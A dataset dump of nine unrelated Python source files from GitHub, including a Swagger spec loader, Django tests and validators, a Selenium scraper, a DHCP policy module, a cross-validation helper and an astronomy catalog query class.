{"seq_id":"34255300156","text":"# -*- coding:utf-8 -*-\n# @Time     :2023/1/30 6:32 下午\n# @Author   :CHNJX\n# @File     :loader_swagger.py\n# @Desc     :\nimport json\nfrom os import path, listdir\nfrom os.path import isdir\n\nimport six\nimport yaml\n\n\ndef get_loader(filename):\n    if filename.endswith(('.json', '.yml', '.yaml')):\n        loader = json.load if filename.endswith('.json') else yaml.load\n    else:\n        with open(filename, 'r', 'utf-8') as f:\n            contents = f.read().strip()\n            loader = json.load if contents[0] in ['{', '['] else yaml.load\n    return loader\n\n\ndef modify_spec_data(field, spec_data, data):\n    if not isinstance(spec_data, dict) or not isinstance(data, dict):\n        return None\n    for k, v in data.items():\n        if k in spec_data[field]:\n            spec_data[field][k].update(v)\n        else:\n            spec_data[field][k] = v\n\n\ndef get_ref_filepath(filename, ref_file):\n    ref_file = path.normpath(path.join(path.dirname(filename), ref_file))\n    return ref_file\n\n\ndef load_file(filename, spec_data):\n    loader = get_loader(filename)\n    with open(filename, 'r', encoding='utf-8') as f:\n        data = loader(f) if filename.endswith('.json') else loader(f, yaml.Loader)\n        spec_data.update(data)\n        for field, values in six.iteritems(data):\n            if field not in ['definitions', 'parameters', 'paths'] or not isinstance(values, dict):\n                continue\n            for _field, value in six.iteritems(values):\n                if _field == '$ref' and value.endswith('.yml'):\n                    _filepath = get_ref_filepath(filename, value)\n                    field_data = load_swagger(_filepath)\n                    spec_data[field] = field_data\n                elif '$ref' in value:\n                    v = value.pop('$ref', '')\n                    if not v:\n                        continue\n                    _filepath = get_ref_filepath(filename, v)\n                    field_data = load_swagger(_filepath)\n                    modify_spec_data(field, spec_data, field_data)\n\n\ndef load_swagger(filename):\n    spec_data = {}\n    files = listdir(filename) if isdir(filename) else [filename]\n    for f in files:\n        if f != filename:\n            f = filename + '/' + f\n        load_file(f, spec_data)\n    return spec_data\n","repo_name":"CHNJX/api-driver","sub_path":"api_driver/loader_swagger.py","file_name":"loader_swagger.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"74878876582","text":"from django.test import TestCase\nfrom django.urls import reverse\nfrom django.core.exceptions import ValidationError\nfrom django.db import IntegrityError\nfrom .models import Video\n\n'''\nreverse wil convert the name of the url into an actual path.\n\n'''\n\nclass TestHomePageMessage(TestCase):\n\n    def test_app_title_message_shown_on_home_page(self):\n        url = reverse('home')\n        response = self.client.get(url)\n        self.assertContains(response, 'Music Videos')\n\nclass TestAddVideos(TestCase):\n    \n    def test_add_video(self):  # Adding a video, added to DB and video_id created. \n\n        valid_video = {\n            'name': 'Jon Spencer',\n            'url': 'https://www.youtube.com/watch?v=IWY4gmbOz24',\n            'notes': 'Song Worm Town'\n        }\n        url = reverse('add_video')\n        response = self.client.post(url, data=valid_video, follow=True)  # follow will allow redirect to the youtube page to not error.\n\n        self.assertTemplateUsed('video_collection/video_catalog.html')\n        # does the video catelog show the new video\n        self.assertContains(response, 'Jon Spencer' )\n        self.assertContains(response, 'Song Worm Town')\n        self.assertContains(response, 'https://www.youtube.com/watch?v=IWY4gmbOz24')\n\n        video_count= Video.objects.count()\n        self.assertEqual(1, video_count)  # checking database is getting added.\n\n        video = Video.objects.first()\n\n        self.assertEqual( 'Jon Spencer', video.name)\n        self.assertEqual( 'Song Worm Town', video.notes)\n        self.assertEqual( 'https://www.youtube.com/watch?v=IWY4gmbOz24', video.url)\n        self.assertEqual( 'IWY4gmbOz24', video.video_id)\n\n\n    def test_add_video_invalid_urls_not_added(self):\n\n        invalid_video_urls = [\n            'https://www.youtube.com/'\n            'https://www.youtube.com/watch?'\n            'https://www.youtube.com/watch?abc123'\n            'https://www.youtube.com/watch?v='\n            'https://www.youtube.com/watch'\n            'https://minneapolis.edu'\n            'https://minneapolis.edu?v=098786'\n        ]\n        for  invalid_video_url in  invalid_video_urls:\n\n            new_video = {\n                'name': 'example',\n                'url':  invalid_video_url,\n                'notes': 'example note'\n            }\n            url = reverse('add_video')\n            response = self.client.post(url, new_video)\n\n            self.assertTemplateNotUsed('video_collection/add.html')\n\n            messages = response.context['messages']\n            message_texts = [ message.message for message in messages]\n\n            self.assertIn('Invalid YouTube URL', message_texts)\n            self.assertIn('Please check that you enter data all in the fields.', message_texts)\n\n        video_count= Video.objects.count()\n        self.assertEqual(0, video_count)  # checking database is mot getting added to.\n\n        \nclass TestVideoCatelog(TestCase):    \n\n    def test_all_videos_displayed_in_correct_order(self):\n\n        v1 =Video.objects.create(name='ZYX', notes='example', url='https://www.youtube.com/watch?v=123')\n        v2 =Video.objects.create(name='abc', notes='example', url='https://www.youtube.com/watch?v=124')\n        v3 =Video.objects.create(name='AAA', notes='example', url='https://www.youtube.com/watch?v=125')\n        v4 =Video.objects.create(name='lmn', notes='example', url='https://www.youtube.com/watch?v=126')\n    \n        expected_video_order = [v3,v2,v4,v1]  # simply list in order expected\n\n        url = reverse('video_catalog')\n        response = self.client.get(url)\n\n        videos_in_template = list(response.context['videos'])\n\n        self.assertEqual(videos_in_template, expected_video_order)\n\n    def test_no_video_message(self):\n        url = reverse('video_catalog')\n        response = self.client.get(url)\n        self.assertContains(response, 'No Videos')  # must match, same as empty in HTML template\n        self.assertEqual(0, len(response.context['videos']))    \n\n\n    def test_one_video_number_message_one_video(self):\n        v1 =Video.objects.create(name='ZYX', notes='example', url='https://www.youtube.com/watch?v=123')\n        url = reverse('video_catalog')\n        response = self.client.get(url)\n\n        self.assertContains(response, '1 video') \n        self.assertNotContains(response, '1 videos') \n\n    \n    def test_video_number_message_two_video(self):\n        v1 =Video.objects.create(name='ZYX', notes='example', url='https://www.youtube.com/watch?v=123')\n        v2 =Video.objects.create(name='abc', notes='example', url='https://www.youtube.com/watch?v=124')\n        url = reverse('video_catalog')\n        response = self.client.get(url)\n\n        self.assertContains(response, '2 videos') \n    \n    \n\n\nclass TestVideoSearch(TestCase):\n\n    pass\n\nclass TestVideoMode(TestCase):\n\n\n    def test_invalid_url_raises_validation_error(self):\n        invalid_video_urls = [\n            'https://www.youtube.com/watch',\n            'https://www.youtube.com/watch/somethingelse',\n            'https://www.youtube.com/watch/somethingelse?v=1234567',\n            'https://www.youtube.com/watch?',\n            'https://www.youtube.com/watch?abc=123',\n            'https://www.youtube.com/watch?v=',\n            'https://github.com',\n            '12345678',\n            'htttttttttps://www.youtube.com/watch',\n            'http://www.youtube.com/watch/somethingelse?v=1234567',\n            'https://minneapolis.edu',\n            'https://minneapolis.edu?v=123456'\n        ]\n\n        for  invalid_video_url in  invalid_video_urls:             \n            with self.assertRaises(ValidationError):\n                Video.objects.create(name='example', url=invalid_video_url, notes='example note')\n\n        self.assertEqual(0, Video.objects.count())\n\n\n    def test_duplicate_video_raises_intgrety_error(self):\n        v1 =Video.objects.create(name='ZYX', notes='example', url='https://www.youtube.com/watch?v=123')\n        with self.assertRaises(IntegrityError):\n            Video.objects.create(name='ZYX', notes='example', url='https://www.youtube.com/watch?v=123')\n\n","repo_name":"Hockeydan25/django_video_app","sub_path":"video_collection/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":6078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"3207056472","text":"from django.core.exceptions import ValidationError\n\n\nBLOCK_LIST = ['FUCK', 'SHIT', 'Omar']\n\n# 1- Clear input and Block list\n# 2- Sum\n# 3- if has error\n# 4- iterate invalid items\n\n\ndef block(value):\n    # 1- Clear input and Block list\n    init_value = f\"{value}\".lower()\n    init_items = set(init_value.split())\n    block_list = set(x.lower() for x in BLOCK_LIST)\n\n    # 2- Sum\n    valid_words = list(init_items & block_list)\n    has_error = len(valid_words) > 0\n\n    # 3- if has error\n    if has_error:\n        invalid_items = []\n        # 4- iterate invalid items\n        for i, word in enumerate(valid_words):\n            invalid_items.append(ValidationError(\"%(value)s is word blocked\", params={\n                                 'value': word}, code=f\"blocked-word-{i}\"))\n        raise ValidationError(invalid_items)\n\n    return value\n","repo_name":"omarreda22/Django-Core","sub_path":"2- Models ( updated - expanded )/src/products/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"71523321384","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.by import By ## 추가\r\nimport re\r\ndriver = webdriver.Chrome('chromedriver.exe')\r\n\r\nbaseurl = 'https://www.kkc.or.kr/megazine/megazine_02.html?page='\r\nlasturl = '&key='\r\n\r\nnamelist = [] # 크롤링 해온 이름을 넣을 list\r\n# linelist =[] # 크롤링 해온 Line01 클래스를 넣을 list\r\n# line2list =[] # 크롤링 해온 Line02 클래스를 넣을 list\r\nnamedict ={} # json 저장을 위해 dict 하나 생성\r\n\r\nfor i in range(14):\r\n    if i == 0:\r\n        continue\r\n    driver.get(baseurl+str(i)+lasturl) #url을 분석한 결과 baseurl과 lasturl 사이에 숫자만 바뀌면 페이지가 넘어감\r\n    name=driver.find_elements(By.CLASS_NAME,\"kind\") # 견종 이름 가져오기\r\n\r\n    for j in name:\r\n        namelist.append(j.text) # 가져온 견종 이름 namelist에 넣기 # 몇번? -> name만큼\r\n\r\n    '''\r\n    line =driver.find_elements(By.CLASS_NAME,'line01')\r\n    for i in line:\r\n        linelist.append(i.text)\r\n    ''' # line01이라는 class에 있는 데이터(text) 가져오기 # 무슨 데이터야? -> 강아지의 원산지\r\n\r\n    '''\r\n    line2 = driver.find_elements(By.CLASS_NAME,'line02')\r\n    for i in line2:\r\n        linelist2.append(i.text)\r\n    ''' # line02라는 class에 있는 데이터(text) 가져오기 # 무슨 데이터야? -> 강아지의 체고, 체중, 운동량, 그룹 모두 담겨 있음 ;;;\r\n\r\n    # print(namelist) # 중간중간 namelist가 점점 늘어나는 걸 확인하는 용\r\n\r\n\r\n#print(namelist) # 위 for 문 안에 넣으면 for문이 끝날때마다 출력되나, 여기에다가 print를 쓰면 결과만 만옴\r\n#print(linelist)\r\n#print(linelist2)\r\n\r\n## 리스트에서 특정 문자열 제거\r\nnamelist2 =[]\r\n\r\nfor i in namelist :\r\n    text = re.sub('[A-Z(/s]','',i).strip()\r\n    namelist2.append(text)\r\nprint(namelist2)\r\n\r\nfor i in range(len(namelist2)): # list 만큼 dict에\r\n    namedict[i] = namelist2[i] # 넣어줌\r\nprint(namedict) # 그 dict가 제대로 됐는지 확인\r\n\r\nimport json\r\nwith open(\"dognames.json\",'w', encoding='utf-8') as file :\r\n    json.dump(namedict,file, indent='\\t', ensure_ascii=False) # dict를 json으로 저장\r\n\r\n\r\n","repo_name":"Junst/Data-Science","sub_path":"Crawling/Selenium/DogCrawling.py","file_name":"DogCrawling.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"11991286442","text":"'''\nEscribe un programa que pida al usuario una palabra y luego imprima la misma\npalabra pero con las letras en orden inverso\n'''\n\n#OP 1\npalabra = input(\"INGRESE UNA PALABRA: \")\n\n#LIST() CREA LISTA DEL PARAMETRO\npl = list(palabra)\n\npl.reverse()\n\nfor x in pl:\n\tprint(x)\n\n\n#OP 2\npalabra = input(\"Escriba cualquier palabra: \")\n\nfor i in range(len(palabra), 0, -1):\n\tprint(palabra[i-1])\n","repo_name":"Nykolas/INFO2023","sub_path":"semana3/repetitivas/Ejercicio6.py","file_name":"Ejercicio6.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"es","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"}
{"seq_id":"6651157688","text":"from univention.admin.layout import Tab, Group\nimport univention.admin.syntax\nimport univention.admin.filter\nimport univention.admin.handlers\nimport univention.admin.localization\n\ntranslation=univention.admin.localization.translation('univention.admin.handlers.policies')\n_=translation.translate\n\nclass dhcp_scopeFixedAttributes(univention.admin.syntax.select):\n\tname='dhcp_scopeFixedAttributes'\n\tchoices=[\n\t\t('univentionDhcpUnknownClients',_('Unknown clients')),\n\t\t('univentionDhcpBootp',_('BOOTP')),\n\t\t('univentionDhcpBooting',_('Booting')),\n\t\t('univentionDhcpDuplicates',_('Duplicates')),\n\t\t('univentionDhcpDeclines',_('Declines'))\n\t\t]\n\nmodule='policies/dhcp_scope'\noperations=['add','edit','remove','search']\n\npolicy_oc=\"univentionPolicyDhcpScope\"\npolicy_apply_to=[\"dhcp/service\", \"dhcp/subnet\", \"dhcp/host\", \"dhcp/sharedsubnet\", \"dhcp/shared\"]\npolicy_position_dn_prefix=\"cn=scope,cn=dhcp\"\npolicies_group=\"dhcp\"\nusewizard=1\nchilds=0\nshort_description=_('Policy: DHCP Allow/Deny')\npolicy_short_description=_('Allow/Deny')\nlong_description=''\noptions={\n}\nproperty_descriptions={\n\t'name': univention.admin.property(\n\t\t\tshort_description=_('Name'),\n\t\t\tlong_description='',\n\t\t\tsyntax=univention.admin.syntax.policyName,\n\t\t\tmultivalue=0,\n\t\t\tinclude_in_default_search=1,\n\t\t\toptions=[],\n\t\t\trequired=1,\n\t\t\tmay_change=0,\n\t\t\tidentifies=1,\n\t\t),\n\t'scopeUnknownClients': univention.admin.property(\n\t\t\tshort_description=_('Unknown clients'),\n\t\t\tlong_description=_('Dynamically assign addresses to unknown clients. Allowed by default. This option should not be used anymore.'),\n\t\t\tsyntax=univention.admin.syntax.AllowDenyIgnore,\n\t\t\tmultivalue=0,\n\t\t\toptions=[],\n\t\t\trequired=0,\n\t\t\tmay_change=1,\n\t\t\tidentifies=0\n\t\t),\n\t'bootp': univention.admin.property(\n\t\t\tshort_description=_('BOOTP'),\n\t\t\tlong_description=_('Respond to BOOTP queries. Allowed by default.'),\n\t\t\tsyntax=univention.admin.syntax.AllowDenyIgnore,\n\t\t\tmultivalue=0,\n\t\t\toptions=[],\n\t\t\trequired=0,\n\t\t\tmay_change=1,\n\t\t\tidentifies=0\n\t\t),\n\t'booting': univention.admin.property(\n\t\t\tshort_description=_('Booting'),\n\t\t\tlong_description=_('Respond to queries from a particular client. Has meaning only when it appears in a host declaration. Allowed by default.'),\n\t\t\tsyntax=univention.admin.syntax.AllowDenyIgnore,\n\t\t\tmultivalue=0,\n\t\t\toptions=[],\n\t\t\trequired=0,\n\t\t\tmay_change=1,\n\t\t\tidentifies=0\n\t\t),\n\t'duplicates': univention.admin.property(\n\t\t\tshort_description=_('Duplicates'),\n\t\t\tlong_description=_('If a request is received from a client that matches the MAC address of a host declaration, any other leases matching that MAC address will be discarded by the server, if this is set to deny. Allowed by default. Setting this to deny violates the DHCP protocol.'),\n\t\t\tsyntax=univention.admin.syntax.AllowDeny,\n\t\t\tmultivalue=0,\n\t\t\toptions=[],\n\t\t\trequired=0,\n\t\t\tmay_change=1,\n\t\t\tidentifies=0\n\t\t),\n\t'declines': univention.admin.property(\n\t\t\tshort_description=_('Declines'),\n\t\t\tlong_description=_(\"Honor DHCPDECLINE messages. deny/ignore will prevent malicious or buggy clients from completely exhausting the DHCP server's allocation pool.\"),\n\t\t\tsyntax=univention.admin.syntax.AllowDenyIgnore,\n\t\t\tmultivalue=0,\n\t\t\toptions=[],\n\t\t\trequired=0,\n\t\t\tmay_change=1,\n\t\t\tidentifies=0\n\t\t),\n\t'requiredObjectClasses': univention.admin.property(\n\t\t\tshort_description=_('Required object classes'),\n\t\t\tlong_description='',\n\t\t\tsyntax=univention.admin.syntax.string,\n\t\t\tmultivalue=1,\n\t\t\toptions=[],\n\t\t\trequired=0,\n\t\t\tmay_change=1,\n\t\t\tidentifies=0\n\t\t\t),\n\t'prohibitedObjectClasses': univention.admin.property(\n\t\t\tshort_description=_('Excluded object classes'),\n\t\t\tlong_description='',\n\t\t\tsyntax=univention.admin.syntax.string,\n\t\t\tmultivalue=1,\n\t\t\toptions=[],\n\t\t\trequired=0,\n\t\t\tmay_change=1,\n\t\t\tidentifies=0\n\t\t\t),\n\t'fixedAttributes': univention.admin.property(\n\t\t\tshort_description=_('Fixed attributes'),\n\t\t\tlong_description='',\n\t\t\tsyntax=dhcp_scopeFixedAttributes,\n\t\t\tmultivalue=1,\n\t\t\toptions=[],\n\t\t\trequired=0,\n\t\t\tmay_change=1,\n\t\t\tidentifies=0\n\t\t\t),\n\t'emptyAttributes': univention.admin.property(\n\t\t\tshort_description=_('Empty attributes'),\n\t\t\tlong_description='',\n\t\t\tsyntax=dhcp_scopeFixedAttributes,\n\t\t\tmultivalue=1,\n\t\t\toptions=[],\n\t\t\trequired=0,\n\t\t\tmay_change=1,\n\t\t\tidentifies=0\n\t\t\t),\n}\n\nlayout = [\n\tTab(_('Allow/Deny'), _('Allow/Deny/Ignore statements'), layout = [\n\t\tGroup( _( 'General' ), layout = [\n\t\t\t'name',\n\t\t\t[ 'scopeUnknownClients', 'bootp' ],\n\t\t\t[ 'booting','duplicates' ],\n\t\t\t'declines'\n\t\t] ),\n\t] ),\n\tTab(_('Object'),_('Object'), advanced = True, layout = [\n\t\t[ 'requiredObjectClasses' , 'prohibitedObjectClasses' ],\n\t\t[ 'fixedAttributes', 'emptyAttributes' ]\n\t] ),\n]\n\nmapping=univention.admin.mapping.mapping()\nmapping.register('name', 'cn', None, univention.admin.mapping.ListToString)\nmapping.register('scopeUnknownClients', 'univentionDhcpUnknownClients', None, univention.admin.mapping.ListToString)\nmapping.register('bootp', 'univentionDhcpBootp', None, univention.admin.mapping.ListToString)\nmapping.register('booting', 'univentionDhcpBooting', None, univention.admin.mapping.ListToString)\nmapping.register('duplicates', 'univentionDhcpDuplicates', None, univention.admin.mapping.ListToString)\nmapping.register('declines', 'univentionDhcpDeclines', None, univention.admin.mapping.ListToString)\n\nmapping.register('requiredObjectClasses', 'requiredObjectClasses')\nmapping.register('prohibitedObjectClasses', 'prohibitedObjectClasses')\nmapping.register('fixedAttributes', 'fixedAttributes')\nmapping.register('emptyAttributes', 'emptyAttributes')\n\nclass object(univention.admin.handlers.simplePolicy):\n\tmodule=module\n\n\tdef __init__(self, co, lo, position, dn='', superordinate=None, attributes = [] ):\n\t\tglobal mapping\n\t\tglobal property_descriptions\n\n\t\tself.mapping=mapping\n\t\tself.descriptions=property_descriptions\n\n\t\tunivention.admin.handlers.simplePolicy.__init__(self, co, lo, position, dn, superordinate, attributes )\n\n\tdef _ldap_pre_create(self):\n\t\tself.dn='%s=%s,%s' % (mapping.mapName('name'), mapping.mapValue('name', self.info['name']), self.position.getDn())\n\n\tdef _ldap_addlist(self):\n\t\treturn [\n\t\t\t('objectClass', ['top', 'univentionPolicy', 'univentionPolicyDhcpScope'])\n\t\t]\n\ndef lookup(co, lo, filter_s, base='', superordinate=None, scope='sub', unique=0, required=0, timeout=-1, sizelimit=0):\n\n\tfilter=univention.admin.filter.conjunction('&', [\n\t\tunivention.admin.filter.expression('objectClass', 'univentionPolicyDhcpScope'),\n\t\t])\n\n\tif filter_s:\n\t\tfilter_p=univention.admin.filter.parse(filter_s)\n\t\tunivention.admin.filter.walk(filter_p, univention.admin.mapping.mapRewrite, arg=mapping)\n\t\tfilter.expressions.append(filter_p)\n\n\tres=[]\n\ttry:\n\t\tfor dn, attrs in lo.search(unicode(filter), base, scope, [], unique, required, timeout, sizelimit):\n\t\t\tres.append( object( co, lo, None, dn, attributes = attrs ) )\n\texcept:\n\t\tpass\n\treturn res\n\ndef identify(dn, attr, canonical=0):\n\n\treturn 'univentionPolicyDhcpScope' in attr.get('objectClass', [])\n","repo_name":"m-narayan/smart","sub_path":"ucs/management/univention-directory-manager-modules/modules/univention/admin/handlers/policies/dhcp_scope.py","file_name":"dhcp_scope.py","file_ext":"py","file_size_in_byte":6890,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"36"}
{"seq_id":"21694638367","text":"import inspect\nimport numpy as np\nfrom collections import defaultdict\nfrom sklearn.model_selection import StratifiedKFold\nfrom helpers.classification.metrics import classification_metric\nfrom helpers.utils.validators import validate_x_y_numpy_array, validate_x_y_observation_count\nfrom helpers.utils.logger import Logger\n\n\n@validate_x_y_numpy_array\n@validate_x_y_observation_count\ndef cross_validate_classifier(X,\n                              y,\n                              model,\n                              threshold=0.5,\n                              metrics=(\"mcc\", \"acc\", \"sen\", \"spe\"),\n                              num_folds=10,\n                              num_repetitions=20,\n                              seed=42,\n                              logger=None):\n    \"\"\"\n    Cross-validate the binary classification model\n\n    This function cross-validates the input classification model using X, y. The\n    cross-validation is set by num_folds and num_repetitions. After the model is\n    cross-validated, several metrics are computed.\n\n    Parameters\n    ----------\n\n    X : numpy array\n        2D feature matrix (rows=observations, cols=features)\n\n    y : numpy array\n        1D labels array\n\n    model : class that implements fit, and predict methods\n        Initialized binary classification model\n\n    threshold : float, optional, default 0.5\n        Threshold for encoding the predicted probability as a class label\n\n    metrics : tuple, optional, default (\"mcc\", \"acc\", \"sen\", \"spe\")\n        Tuple with classification metrics to compute\n\n    num_folds : int, optional, default 10\n        Number of cross-validation folds\n\n    num_repetitions : int, optional, default 20\n        Number of cross-validation runs\n\n    seed : int, optional, default 42\n        Random generator seed\n\n    logger : Logger, optional, default None\n        Logger class\n\n    Returns\n    -------\n\n    Default dictionary with keys=metric names, vals=metric arrays\n\n    Raises\n    ------\n\n    TypeError\n        Raised when X or y is not an instance of np.ndarray\n\n    ValueError\n        Raised when X and y have not the same number of rows (observations)\n    \"\"\"\n\n    # Prepare the logger\n    logger = logger if logger else Logger(inspect.currentframe().f_code.co_name)\n\n    # Prepare the results table for the cross-validation results\n    table_cv_data = defaultdict(list)\n\n    # Run the desired number of cross-validation repetitions\n    for repetition in range(num_repetitions):\n        for train_i, test_i in StratifiedKFold(n_splits=num_folds, random_state=seed, shuffle=True).split(X, y):\n\n            # Split the data to train, test sets\n            X_train, X_test = X[train_i], X[test_i]\n            y_train, y_test = y[train_i], y[test_i]\n\n            try:\n\n                # fit the classifier\n                model.fit(X_train, y_train)\n\n                # Evaluate the classifier\n                predicted = model.predict(X_test)\n\n                # Encode the labels\n                y_true = np.array(y_test, dtype=np.int16)\n                y_pred = np.array([0 if y_hat < threshold else 1 for y_hat in predicted], dtype=np.int16)\n\n                # Compute the classification metrics\n                for metric in metrics:\n                    computed = classification_metric(metric, y_true, y_pred)\n                    computed = computed if computed and np.isfinite(computed) else None\n                    if computed:\n                        table_cv_data[metric].append(computed)\n\n            except Exception as e:\n                if \"Input contains NaN, infinity or a value too large\" in str(e):\n                    logger.warning(\"Poor performance detected, skipping current validation fold\")\n                    continue\n                else:\n                    logger.exception(e)\n\n    return table_cv_data\n","repo_name":"zgalaz/data-science-helpers","sub_path":"helpers/classification/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":3819,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"22130490926","text":"# python3\n\ndef parallel_processing(n, m, data):\n    output = []\n    next = 0\n    time = [0] * n\n    for i in range(m):\n        thread = next\n        start_time = time[thread]\n        end_time = start_time + data[i]\n        time[thread] = end_time\n        next = (next + 1) % n\n        output.append((thread, start_time))\n    return output\n\ndef main():\n    n , m = map(int, input(\">:: \\t\").split())\n    data = list(map(int, input(\">:: \\t\").split()))\n    result = parallel_processing(n,m,data)\n    for i,j in result:\n        print(i, j)\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"DA-testa/parallel-processing-Brakonabric","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"74308666343","text":"import math\nimport os\n\nimport numpy\nimport requests\n\nimport numpy as np\nfrom astropy.table import Table\nfrom astroquery.sdss import SDSS\nfrom astropy import coordinates as coords\nimport logging\n_logger = logging.getLogger(__name__)\n\n\nclass atlas_refcat2:\n    ''' Interface to query consolidated sqlite3 db file that was generated from Tonry (2018) refcat2\n    '''\n\n    FILTERMAPPING = {}\n    FILTERMAPPING['up'] = {'refMag': 'umag', 'colorTerm': 0.0, 'airmassTerm': 0.59, 'defaultZP': 0.0}\n    FILTERMAPPING['gp'] = {'refMag': 'gmag', 'colorTerm': 0.0, 'airmassTerm': 0.14, 'defaultZP': 0.0}\n    FILTERMAPPING['rp'] = {'refMag': 'rmag', 'colorTerm': 0.0, 'airmassTerm': 0.08, 'defaultZP': 0.0}\n    FILTERMAPPING['ip'] = {'refMag': 'imag', 'colorTerm': 0.0, 'airmassTerm': 0.06, 'defaultZP': 0.0}\n    FILTERMAPPING['zp'] = {'refMag': 'zmag', 'colorTerm': 0.0, 'airmassTerm': 0.04, 'defaultZP': 0.0}\n    FILTERMAPPING['zs'] = {'refMag': 'zmag', 'colorTerm': 0.0, 'airmassTerm': 0.04, 'defaultZP': 0.0}\n    FILTERMAPPING['Y'] = {'refMag': 'ymag', 'colorTerm': 0.0, 'airmassTerm': 0.03, 'defaultZP': 0.0}\n    FILTERMAPPING['U'] = {'refMag':  'U', 'colorTerm': 0.0, 'airmassTerm': 0.54, 'defaultZP': 0.0}\n    FILTERMAPPING['B'] = {'refMag':  'B', 'colorTerm': 0.0, 'airmassTerm': 0.23, 'defaultZP': 0.0}\n    FILTERMAPPING['V'] = {'refMag':  'V', 'colorTerm': 0.0, 'airmassTerm': 0.12, 'defaultZP': 0.0}\n    FILTERMAPPING['R'] = {'refMag':  'R', 'colorTerm': 0.0, 'airmassTerm': 0.09, 'defaultZP': 0.0}\n    FILTERMAPPING['Rc'] = {'refMag':  'R', 'colorTerm': 0.0, 'airmassTerm': 0.09, 'defaultZP': 0.0}\n    FILTERMAPPING['I'] = {'refMag':  'I', 'colorTerm': 0.0, 'airmassTerm': 0.04, 'defaultZP': 0.0}\n\n    ###  PS to SDSS color transformations according to  Finkbeiner 2016\n    ###  http://iopscience.iop.org/article/10.3847/0004-637X/822/2/66/meta#apj522061s2-4 Table 2\n    ###  Note that this transformation is valid for stars only. For the purpose of photometric\n    ###  calibration, it is desirable to select point sources only from the input catalog.\n\n    ## Why reverse the order of the color term entries? Data are entered in the order as they are\n    ## shown in paper. Reverse after the fact to avoid confusion when looking at paper\n\n    ps1colorterms = {}\n    ps1colorterms['umag'] = [+0.04438, -2.26095, -0.13387, +0.27099][::-1]\n    ps1colorterms['gmag'] = [-0.01808, -0.13595, +0.01941, -0.00183][::-1]\n    ps1colorterms['rmag'] = [-0.01836, -0.03577, +0.02612, -0.00558][::-1]\n    ps1colorterms['imag'] = [+0.01170, -0.00400, +0.00066, -0.00058][::-1]\n    ps1colorterms['zmag'] = [-0.01062, +0.07529, -0.03592, +0.00890][::-1]\n    ps1colorterms['ymag'] = [+0.08924, -0.20878, 0.10360,  -0.02441][::-1]\n    JohnsonCousin_filters = ['B', 'V', 'R', 'I', 'U']\n\n    def __init__(self, refcat2_url):\n        self.refcat2_url = refcat2_url\n\n    def isInCatalogFootprint(self, ra, dec):\n        return True\n\n    def SDSS2Johnson (self, table):\n        \"\"\" Based on Jordi, Grebel, & Ammon 2005  http://www.sdss3.org/dr8/algorithms/sdssUBVRITransform.php\n        \"\"\"\n\n        transformations={}\n        # 0 -> sdss base mag\n        # 1,2 -> sdss color to use\n        # 3 -> color term\n        # 4 -> zero point\n        transformations['B'] = ['gmag', 'gmag', 'rmag',  0.313,  0.219]\n        transformations['V'] = ['gmag', 'gmag', 'rmag', -0.565, -0.016]\n        transformations['R'] = ['rmag', 'rmag', 'imag', -0.153, -0.117]\n        transformations['I'] = ['imag', 'imag', 'zmag', -0.386, -0.397]\n        transformations['U'] = ['B'   , 'umag', 'gmag', +0.79,  -0.93]\n\n        for filter in transformations:\n            transformation = transformations[filter]\n            table.add_column(numpy.NaN, name=filter)\n            table.add_column(numpy.NaN, name=f'{filter}err')\n            table[filter] = table [transformation[0]] + (table[transformation[1]] - table[transformation[2]]) * transformation[3] + transformation[4]\n            table[f'{filter}err'] = 0\n        return table\n\n\n    def PStoSDSS(self, table):\n        \"\"\"\n        Modify table in situ from PS1 to SDSS, requires column names compatible with ps1colorterms definition.\n\n        :param table:\n        :return: modified table.\n        \"\"\"\n        if table is not None:\n            pscolor = table['gmag'] - table['imag']\n            for filter in self.ps1colorterms:\n                colorcorrection = np.polyval(self.ps1colorterms[filter], pscolor)\n                if filter == \"umag\":\n                    table['umag'] = table['gmag'] - colorcorrection\n                    table['umagerr'] = table['gmagerr']\n                elif filter == 'ymag':\n                    table['ymag'] = table['zmag'] - colorcorrection\n                    table['ymagerr'] = table['zmagerr']\n                else:\n                    table[filter] -= colorcorrection\n\n        return table\n\n    def get_reference_catalog(self, ra, dec, radius, generateJohnson = False):\n        \" Read region of interest from the catalog\"\n        try:\n            response = requests.get(self.refcat2_url + 'radius', params={'ra': ra, 'dec': dec, 'radius': radius})\n            response.raise_for_status()\n            table = Table(response.json())\n        except Exception as e:\n            _logger.exception(f\"While trying to read from refcat2: {e}\")\n            return None\n\n        table = self.PStoSDSS(table)\n\n        if generateJohnson:\n            table = self.SDSS2Johnson(table)\n\n        return table\n","repo_name":"LCOGT/longtermphotzp","sub_path":"longtermphotzp/atlasrefcat2.py","file_name":"atlasrefcat2.py","file_ext":"py","file_size_in_byte":5445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
